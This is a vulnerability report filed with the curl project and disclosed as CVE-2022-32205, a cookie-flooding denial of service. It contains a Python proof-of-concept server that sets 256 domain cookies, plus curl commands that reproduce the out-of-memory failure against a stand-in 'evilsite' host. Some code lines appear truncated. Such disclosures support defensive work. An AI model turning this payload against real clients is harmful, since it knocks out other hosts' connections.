4

CVE-2022-32205: Set-Cookie denial of service

Share:

TIMELINE

nyymi submitted a report to curl.

May 13th (7 months ago)

Summary:

Curl fails to limit the number of cookies that can be set by a single host/domain. It can easily lead to a situation where constructing the request towards a host will end up consuming more than `DYN_HTTP_REQUEST` memory, leading to instant `CURLE_OUT_OF_MEMORY`.

Any host in a given domain can target any other hosts in the same domain by using domain cookies. The attack works from both `HTTP` and `HTTPS` and from unprivileged ports.

Steps To Reproduce:

1. Run the following python web server:

Code 507 Bytes

Wrap lines Copy Download

```
from http.server import BaseHTTPRequestHandler, HTTPServer

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        for i in range(0,256):
            self.send_header("Set-Cookie", "f{}={}; Domain=hax.invalid".format(i, "A"
        self.end_headers()

if __name__ == "__main__":
    webServer = HTTPServer(("127.0.0.1", 9000), MyServer)
    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
```

2. `curl -c cookie.txt -b cookie.txt --connect-to evilsite.hax.invalid:80:127.0.0.1:9000 http://evilsite.hax.invalid/`
3. `curl -c cookie.txt -b cookie.txt --connect-to targetedsite.hax.invalid:80:127.0.0.1:9000 http://targetedsite.hax.invalid/`

This is CWE-770: Allocation of Resources Without Limits or Throttling

Remediation ideas

The cookie matching being as complicated as it is makes it a bit hard to create a fix that always works fine. The request inhabits other headers as well as the cookies, so the amount of storage available for the cookies also varies per request.

One relatively "easy" way to mitigate this would be to limit the amount of domain cookies a domain can have. But what should be done if `Set-Cookie` would go over this limit? Maybe flush the oldest cookies?

Impact

Denial of service